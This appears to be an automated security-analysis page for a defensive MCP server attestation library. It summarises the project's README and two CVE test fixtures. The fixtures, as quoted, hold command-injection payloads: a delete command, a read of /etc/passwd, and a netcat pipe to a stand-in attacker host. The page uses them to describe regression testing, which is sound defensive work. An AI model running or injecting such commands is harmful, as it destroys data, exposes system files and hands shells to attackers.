studiomeyer-io/mcp-server-attestation

GitHubRepository PoCWriteup

PoC files

45 files

File viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.

GitHub
Analysisdeepseek-v4-pro:cloud ·

Technical assessment

The artifact is a repository containing a library, CLI, and demo server for MCP server attestation. The supplied text files are documentation (README.md, package.json) and test fixtures (CVE payloads). The README describes the project's purpose and security model, and the test fixtures list payloads associated with CVE-2025-61591 and CVE-2025-69256. No exploit or scanner code is present in the supplied evidence.

Backdoor review

No backdoor observed in reviewed code

The reviewed evidence consists of a README, a root package.json, and two CVE test fixture files from the mcp-server-attestation repository. The content describes a security library designed to mitigate command injection and supply-chain attacks in MCP servers. No backdoor, deceptive payload, or concealed harmful behavior is present in the supplied text. The fixture files contain known malicious payloads for regression testing, which is expected defensive behavior.

ClassificationWriteup
Model confidence95%
AuthenticationUnknown
LanguagesMarkdownJSONTypeScript
Target softwareCursorServerless Framework
Attack typesCommand InjectionRemote Code Execution
Evidence & reasoningClassification basis · observed behavior · safety review
Technical evidence

Classification basis and observed behavior

Classification basis

The supplied evidence consists of a README, a package.json, and two JSON test fixture files. The README is a project description and security model writeup. The test fixtures contain lists of payload strings for known CVEs but do not contain any code that exercises or checks for a vulnerability. No executable exploit or scanner code is present in the supplied files.

README.md:1-151packages/lib/tests/fixtures/cve-2025-61591-payloads.json:1-19packages/lib/tests/fixtures/cve-2025-69256-payloads.json:1-23

Observed behavior

  • The README describes the project as a 'Layer-2 supply-chain hardening for Model Context Protocol servers' providing 'Ed25519-signed tool manifests, runtime spawn-attestation, default-deny argument sanitizer'.README.md:14
  • The test fixture cve-2025-61591-payloads.json lists command strings such as '/bin/bash', '/usr/bin/curl', and 'powershell.exe' as payloads for CVE-2025-61591.packages/lib/tests/fixtures/cve-2025-61591-payloads.json:5-18
  • The test fixture cve-2025-69256-payloads.json lists command injection strings such as '; rm -rf /tmp/x', '&& cat /etc/passwd', and '| nc attacker.example 4444' as payloads for CVE-2025-69256.packages/lib/tests/fixtures/cve-2025-69256-payloads.json:5-22
Safety-review evidence

Behaviors behind the backdoor verdict

Observables

Test Fixture
cve-2025-61591-payloads.jsonContains a list of command strings associated with CVE-2025-61591, used as test inputs to verify the library's blocking behavior.packages/lib/tests/fixtures/cve-2025-61591-payloads.json:1-19
Test Fixture
cve-2025-69256-payloads.jsonContains a list of command injection strings associated with CVE-2025-69256, used as test inputs to verify the library's blocking behavior.packages/lib/tests/fixtures/cve-2025-69256-payloads.json:1-23
Review boundaries

What the analysis did not establish

  • Only 4 of 45 files in the repository were supplied as text. The actual library source code, CLI code, and demo server code are not included in the evidence.
  • The evidence envelope reports 41 unclassified files totaling 236,342 bytes that were not analyzed.
  • The test fixture files contain payload strings but no test runner or assertion code is provided, so the behavior of the library against these payloads cannot be confirmed from the evidence.
  • Only 4 of 45 files in the repository were provided as readable text; 41 files were omitted, including all source code (e.g., TypeScript files in packages/lib, packages/cli, packages/demo-server). The actual implementation of the library, CLI, and demo server was not reviewed.
  • Binary files were not analyzed (binary_policy: FLAGGED_METADATA_ONLY_NOT_ANALYZED).
  • The review is limited to static text analysis; no dynamic or behavioral analysis was performed.
Model interpretation

This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.

Linked vulnerabilities

2